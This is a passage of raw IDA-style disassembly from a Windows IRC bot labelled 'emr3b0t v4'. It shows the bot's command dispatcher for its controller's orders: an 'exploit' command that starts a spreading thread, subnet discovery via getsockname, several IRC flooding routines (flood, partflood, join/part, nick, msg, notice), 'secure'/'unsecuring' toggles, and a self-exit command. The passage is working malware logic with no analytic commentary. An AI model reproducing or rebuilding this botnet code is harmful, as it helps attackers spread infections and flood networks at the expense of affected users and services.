		lea	eax, [ebp+var_C0]
		push	eax
		jmp	short loc_40481D
; ---------------------------------------------------------------------------

loc_404841:				; CODE XREF: sub_401CC7+2B6Fj
		mov	[ebp+var_5A0], bl

loc_404847:				; CODE XREF: sub_401CC7+2B67j
		mov	eax, [ebp+var_4]
		push	[ebp+Format]	; Format
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h		; Count
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax		; Dest
		mov	[ebp+var_624], esi
		call	__snprintf
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AF71
		pop	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_4403B4 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	19h		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset sub_411C4E
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_4048F8

loc_4048E2:				; CODE XREF: sub_401CC7+2C2Fj
		cmp	[ebp+var_57C], ebx
		jnz	loc_402085
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_4048E2
; ---------------------------------------------------------------------------

loc_4048F8:				; CODE XREF: sub_401CC7+2C19j
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4403DC
		jmp	loc_402269
; ---------------------------------------------------------------------------

loc_404909:				; CODE XREF: sub_401CC7+1009j
					; sub_401CC7+101Ej
		mov	esi, dword ptr [ebp+esi+Args]
		cmp	esi, ebx
		jz	short loc_404929
		push	esi		; Str
		call	_atoi
		test	ax, ax
		pop	ecx
		jz	short loc_404929
		push	esi		; Str
		call	_atoi
		pop	ecx
		jmp	short loc_40492F
; ---------------------------------------------------------------------------

loc_404929:				; CODE XREF: sub_401CC7+2C4Bj
					; sub_401CC7+2C57j
		mov	ax, word_43F084

loc_40492F:				; CODE XREF: sub_401CC7+2C60j
		push	[ebp+Format]	; Format
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h		; Count
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax		; Dest
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	__snprintf
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AF71
		pop	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_440310 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	edi		; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	esi		; int
		call	sub_409D34
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	6		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset sub_40EF74
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_4049FE

loc_4049E8:				; CODE XREF: sub_401CC7+2D35j
		cmp	[ebp+var_968], ebx
		jnz	loc_402085
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_4049E8
; ---------------------------------------------------------------------------

loc_4049FE:				; CODE XREF: sub_401CC7+2D1Fj
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44033C
		jmp	loc_402269
; ---------------------------------------------------------------------------

loc_404A0F:				; CODE XREF: sub_401CC7+FB5j
					; sub_401CC7+FCAj ...
		push	edi		; Str2
		push	offset aSecure_1 ; "secure"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404A37
		push	edi		; Str2
		push	offset aSec_0	; "sec"
		call	_strcmp
		pop	ecx
		mov	[ebp+var_A10], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404A41

loc_404A37:				; CODE XREF: sub_401CC7+2D57j
		mov	[ebp+var_A10], 1

loc_404A41:				; CODE XREF: sub_401CC7+2D6Ej
		push	[ebp+Format]	; Format
		lea	eax, [ebp+var_A94]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_A10], ebx
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_A08], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_404A88
		mov	eax, offset aUnsecuring	; "Unsecuring"

loc_404A88:				; CODE XREF: sub_401CC7+2DBAj
		push	eax
		push	offset asc_4402A8 ; "-"
		lea	eax, [ebp+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	22h		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 1Ch
		mov	[ebp+var_A14], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset sub_41ACFD
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_A14]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_404AFC

loc_404AE6:				; CODE XREF: sub_401CC7+2E33j
		cmp	[ebp+var_A04], ebx
		jnz	loc_408637
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_404AE6
; ---------------------------------------------------------------------------

loc_404AFC:				; CODE XREF: sub_401CC7+2E1Dj
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4402C4
		jmp	loc_408628
; ---------------------------------------------------------------------------

loc_404B0D:				; CODE XREF: sub_401CC7+F8Bj
					; sub_401CC7+FA0j
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_41B592

loc_404B1E:				; CODE XREF: sub_401CC7+2AA9j
					; sub_401CC7+2ABFj ...
		add	esp, 0Ch
		jmp	loc_409B16
; ---------------------------------------------------------------------------

loc_404B26:				; CODE XREF: sub_401CC7+F61j
					; sub_401CC7+F76j
		push	offset unk_4401A4
		jmp	loc_408850
; ---------------------------------------------------------------------------

loc_404B30:				; CODE XREF: sub_401CC7+F37j
					; sub_401CC7+F4Cj
		push	offset aEmr3b0tV4 ; "emr3b0t v4"
		push	offset dword_440184
		jmp	loc_406F4A
; ---------------------------------------------------------------------------

loc_404B3F:				; CODE XREF: sub_401CC7+F0Dj
					; sub_401CC7+F22j
		mov	esi, dword ptr [ebp+esi+Args]
		cmp	esi, ebx
		jz	short loc_404B99
		push	esi		; Str
		call	_atoi
		cmp	eax, ebx
		pop	ecx
		jl	short loc_404B91
		cmp	eax, 3
		jge	short loc_404B91
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_404B89
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_4400E0 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_408506
; ---------------------------------------------------------------------------

loc_404B89:				; CODE XREF: sub_401CC7+2EA1j
		push	eax
		push	offset unk_440100
		jmp	short loc_404BD6
; ---------------------------------------------------------------------------

loc_404B91:				; CODE XREF: sub_401CC7+2E8Cj
					; sub_401CC7+2E91j
		push	eax
		push	offset unk_44012C
		jmp	short loc_404BD6
; ---------------------------------------------------------------------------

loc_404B99:				; CODE XREF: sub_401CC7+2E81j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_404B9E:				; CODE XREF: sub_401CC7+2EF3j
		push	[ebp+var_90]	; Str2
		push	edi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404BC1
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_404B9E
		jmp	loc_408506
; ---------------------------------------------------------------------------

loc_404BC1:				; CODE XREF: sub_401CC7+2EE7j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset asc_440158 ; "-"

loc_404BD6:				; CODE XREF: sub_401CC7+2143j
					; sub_401CC7+2EC8j ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		jmp	loc_408503
; ---------------------------------------------------------------------------

loc_404BE7:				; CODE XREF: sub_401CC7+EE3j
					; sub_401CC7+EF8j
		push	dword ptr [ebp+Args] ; Str2
		push	offset a332_4	; "332"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403690
		call	sub_40B91F
		push	ebx
		call	ds:dword_4F5338	; ExitProcess

loc_404C0D:				; CODE XREF: sub_401CC7+1A02j
		push	offset aGet_2	; "get"
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404CA4
		cmp	dword_4E68F0, ebx
		jz	short loc_404C39
		push	offset byte_4E62D0
		push	offset unk_4412C4
		jmp	loc_404CD4
; ---------------------------------------------------------------------------

loc_404C39:				; CODE XREF: sub_401CC7+2F61j
		push	10h
		pop	eax
		mov	[ebp+var_2D0], eax
		push	eax		; Size
		lea	eax, [ebp+var_2E8]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_2D0]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4F554C	; getsockname
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E30]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		lea	eax, [ebp+var_E30]
		push	eax
		push	offset unk_441308
		jmp	short loc_404CD4
; ---------------------------------------------------------------------------

loc_404CA4:				; CODE XREF: sub_401CC7+2F55j
		push	esi
		call	dword_4E3138	; inet_addr
		cmp	eax, 0FFFFFFFFh
		push	esi		; Source
		jnz	short loc_404CB8
		push	offset unk_441340
		jmp	short loc_404CD4
; ---------------------------------------------------------------------------

loc_404CB8:				; CODE XREF: sub_401CC7+2FE8j
		push	offset byte_4E62D0 ; Dest
		call	_strcpy
		pop	ecx
		mov	dword_4E68F0, 1
		pop	ecx
		push	esi
		push	offset asc_441374 ; "-"

loc_404CD4:				; CODE XREF: sub_401CC7+2F6Dj
					; sub_401CC7+2FDBj ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	loc_4036E8
; ---------------------------------------------------------------------------

loc_404CE8:				; CODE XREF: sub_401CC7+19EAj
		push	edi		; Str2
		push	offset aExploit	; "exploit"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404DEB
		mov	eax, [ebp+var_4]
		mov	esi, offset a2	; "#2"
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E0],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F4],	eax
		mov	edi, 80h
		push	esi		; Format
		lea	eax, [ebp+var_1474]
		push	edi		; Count
		push	eax		; Dest
		mov	[ebp+var_13EC],	1
		call	__snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_14F4]
		push	esi		; Format
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	[ebp+Source]	; Format
		push	10h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset asc_4413A8 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	8		; int
		push	eax		; Source
		call	sub_40B756
		add	esp, 18h
		mov	[ebp+var_13E8],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1504]
		push	ebx
		push	eax
		push	offset sub_40BF01
		push	ebx
		push	ebx
		call	ds:dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_13E8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_45602C[ecx], eax
		jz	short loc_404DDA

loc_404DC4:				; CODE XREF: sub_401CC7+3111j
		cmp	[ebp+var_13DC],	ebx
		jnz	loc_408506
		push	32h
		call	ds:dword_4F534C	; Sleep
		jmp	short loc_404DC4
; ---------------------------------------------------------------------------

loc_404DDA:				; CODE XREF: sub_401CC7+30FBj
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4413D8
		jmp	loc_404BD6
; ---------------------------------------------------------------------------

loc_404DEB:				; CODE XREF: sub_401CC7+3030j
		push	edi		; Str2
		push	offset aReconnect_in ; "reconnect.in"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409A82
		push	edi		; Str2
		push	offset aRin	; "rin"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409A82
		push	edi		; Str2
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409A3A
		push	edi		; Str2
		push	offset aRinms	; "rinms"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409A3A
		push	[ebp+arg_8]	; Str2
		push	offset aFlood	; "flood"
		call	_strcmp
		mov	edi, ds:dword_4F534C
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4059D2
		call	ds:dword_4F537C	; GetTickCount
		push	eax		; Seed
		call	_srand
		push	[ebp+Source]	; Str2
		push	offset aLoad	; "load"
		call	_strcmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404EF1
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404EF1
		push	[ebp+esi+var_80] ; Str
		call	_atoi
		pop	ecx
		push	eax		; int
		push	[ebp+esi+Str2]	; Str
		call	_atoi
		pop	ecx
		push	eax		; int
		push	[ebp+esi+Format] ; Source
		call	sub_4185D2
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Str2]
		push	[ebp+esi+Format]
		push	[ebp+esi+var_80]
		push	offset asc_4414D0 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404EF1
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409D34
		add	esp, 14h

loc_404EF1:				; CODE XREF: sub_401CC7+31B3j
					; sub_401CC7+31B9j ...
		push	[ebp+Source]	; Str2
		push	offset aPm_1	; "pm"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F5D
		mov	eax, [ebp+esi+Str2]
		cmp	eax, ebx
		jz	short loc_404F5D
		push	offset asc_441500 ; " "
		push	offset a__7	; "_"
		push	eax		; Src
		call	sub_418C07
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_strcpy
		add	esp, 14h
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aPrivmsgSS ; "privmsg %s	:%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		add	esp, 14h

loc_404F5D:				; CODE XREF: sub_401CC7+323Bj
					; sub_401CC7+3246j
		push	[ebp+Source]	; Str2
		push	offset aCt	; "ct"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404FC9
		mov	eax, [ebp+esi+Str2]
		cmp	eax, ebx
		jz	short loc_404FC9
		push	offset asc_44151C ; " "
		push	offset a_	; "_"
		push	eax		; Src
		call	sub_418C07
		push	eax		; Source
		lea	eax, [ebp+var_4BF0]
		push	eax		; Dest
		call	_strcpy
		add	esp, 14h
		lea	eax, [ebp+var_4BF0]
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aPrivmsgS ; "privmsg %s :"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		add	esp, 14h

loc_404FC9:				; CODE XREF: sub_401CC7+32A7j
					; sub_401CC7+32B2j
		push	[ebp+Source]	; Str2
		push	offset aNt_1	; "nt"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405035
		mov	eax, [ebp+esi+Str2]
		cmp	eax, ebx
		jz	short loc_405035
		push	offset asc_44153C ; " "
		push	offset a__8	; "_"
		push	eax		; Src
		call	sub_418C07
		push	eax		; Source
		lea	eax, [ebp+var_46EC]
		push	eax		; Dest
		call	_strcpy
		add	esp, 14h
		lea	eax, [ebp+var_46EC]
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		add	esp, 14h

loc_405035:				; CODE XREF: sub_401CC7+3313j
					; sub_401CC7+331Ej
		push	[ebp+Source]	; Str2
		push	offset aMode	; "mode"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4050A1
		mov	eax, [ebp+esi+Str2]
		cmp	eax, ebx
		jz	short loc_4050A1
		push	offset asc_44155C ; " "
		push	offset a__0	; "_"
		push	eax		; Src
		call	sub_418C07
		push	eax		; Source
		lea	eax, [ebp+var_4DF0]
		push	eax		; Dest
		call	_strcpy
		add	esp, 14h
		lea	eax, [ebp+var_4DF0]
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aModeSS	; "mode	%s %s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		add	esp, 14h

loc_4050A1:				; CODE XREF: sub_401CC7+337Fj
					; sub_401CC7+338Aj
		push	[ebp+Source]	; Str2
		push	offset aJoin	; "join"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4050E0
		mov	eax, [ebp+esi+Format]
		cmp	eax, ebx
		jz	short loc_4050E0
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aJoinS	; "join	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		add	esp, 10h

loc_4050E0:				; CODE XREF: sub_401CC7+33EBj
					; sub_401CC7+33F6j
		push	[ebp+Source]	; Str2
		push	offset aPart_1	; "part"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40511F
		mov	eax, [ebp+esi+Format]
		cmp	eax, ebx
		jz	short loc_40511F
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aPartS	; "part	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		add	esp, 10h

loc_40511F:				; CODE XREF: sub_401CC7+342Aj
					; sub_401CC7+3435j
		push	[ebp+Source]	; Str2
		push	offset aPartflood ; "partflood"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405163
		mov	eax, [ebp+esi+Format]
		cmp	eax, ebx
		jz	short loc_405163
		push	offset aCyber	; "CYBER"
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aPartSS	; "part	%s %s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		add	esp, 14h

loc_405163:				; CODE XREF: sub_401CC7+3469j
					; sub_401CC7+3474j
		push	[ebp+Source]	; Str2
		push	offset aPnick	; "pnick"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4051DC
		cmp	[ebp+esi+Format], ebx
		jz	short loc_4051DC
		call	ds:dword_4F537C	; GetTickCount
		push	eax		; Seed
		call	_srand
		pop	ecx
		call	_rand
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B4]
		push	edx
		push	[ebp+esi+Format]
		push	offset aSI	; "%s%i"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		lea	eax, [ebp+var_17B4]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aNickS_0	; "NICK	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		add	esp, 10h

loc_4051DC:				; CODE XREF: sub_401CC7+34ADj
					; sub_401CC7+34B6j
		push	[ebp+Source]	; Str2
		push	offset aJoinPart ; "join/part"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405329
		cmp	[ebp+esi+Format], ebx
		jz	loc_405329
		push	[ebp+esi+Format]
		lea	eax, [ebp+Dst]
		push	offset aJoinS_0	; "join	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		add	esp, 10h
		lea	eax, [ebp+Dst]
		push	offset aCyber	; "CYBER"
		push	[ebp+esi+Format]
		push	offset aPartSS_0 ; "part %s %s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		add	esp, 14h
		call	_rand
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	[ebp+esi+Format]
		lea	eax, [ebp+Dst]
		push	offset aJoinS_1	; "join	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		add	esp, 10h
		call	_rand
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aPartSS_1 ; "part %s %s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		add	esp, 14h
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aJoinS_2	; "join	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		add	esp, 10h
		call	_rand
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aPartSS_2 ; "part %s %s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		add	esp, 14h

loc_405329:				; CODE XREF: sub_401CC7+3526j
					; sub_401CC7+3533j
		push	[ebp+Source]	; Str2
		push	offset aDcc	; "dcc"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4053C3
		cmp	[ebp+esi+Format], ebx
		jz	short loc_4053C3
		call	ds:dword_4F537C	; GetTickCount
		push	eax		; Seed
		call	_srand
		pop	ecx
		call	_rand
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	_rand
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	_rand
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	_rand
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	_rand
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+Dst]
		push	edx
		push	[ebp+esi+Format]
		push	offset aPrivmsgS_0 ; "PRIVMSG %s :"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		add	esp, 24h

loc_4053C3:				; CODE XREF: sub_401CC7+3673j
					; sub_401CC7+3680j
		push	[ebp+Source]	; Str2
		push	offset aNick_0	; "nick"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054C5
		mov	eax, [ebp+esi+Format]
		cmp	eax, ebx
		jz	loc_4054C5
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aJoinS_3	; "join	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		lea	eax, [ebp+var_4BC]
		push	eax		; Dest
		call	sub_418650
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aNickS_1	; "NICK	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		add	esp, 10h
		call	_rand
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		lea	eax, [ebp+var_4BC]
		push	eax		; Dest
		call	sub_418650
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aNickS_2	; "NICK	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		add	esp, 10h
		call	_rand
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		lea	eax, [ebp+var_4BC]
		push	eax		; Dest
		call	sub_418650
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aNickS_3	; "NICK	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		add	esp, 10h

loc_4054C5:				; CODE XREF: sub_401CC7+370Dj
					; sub_401CC7+371Cj
		push	[ebp+Source]	; Str2
		push	offset aChgnick	; "chgnick"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40550C
		lea	eax, [ebp+var_1808]
		push	eax		; Dest
		call	sub_418650
		pop	ecx
		lea	eax, [ebp+var_1808]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aNickS_4	; "NICK	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		add	esp, 10h

loc_40550C:				; CODE XREF: sub_401CC7+380Fj
		push	[ebp+Source]	; Str2
		push	offset aMsg	; "msg"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4055FB
		cmp	[ebp+esi+Format], ebx
		jz	loc_4055FB
		push	[ebp+esi+Format]
		lea	eax, [ebp+Dst]
		push	offset aJoinS_4	; "join	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		add	esp, 10h
		lea	eax, [ebp+Dst]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+Format]
		push	offset aPrivmsgSS_0 ; "privmsg %s :%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		add	esp, 14h
		call	_rand
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aPrivmsgSS_1 ; "privmsg %s :%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		add	esp, 14h
		call	_rand
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset aPrivmsgSS_2 ; "privmsg %s :%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		add	esp, 14h

loc_4055FB:				; CODE XREF: sub_401CC7+3856j
					; sub_401CC7+3863j
		push	[ebp+Source]	; Str2
		push	offset aNotice_2 ; "notice"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4056EA
		cmp	[ebp+esi+Format], ebx
		jz	loc_4056EA
		push	[ebp+esi+Format]
		lea	eax, [ebp+Dst]
		push	offset aJoinS_5	; "join	%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		add	esp, 10h
		lea	eax, [ebp+Dst]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+Format]
		push	offset aNoticeSS_2 ; "NOTICE %s	:%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_4182F9
		add	esp, 14h
		call	_rand
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi	; Sleep
		push	offset aCyber_0	; "CYBER"
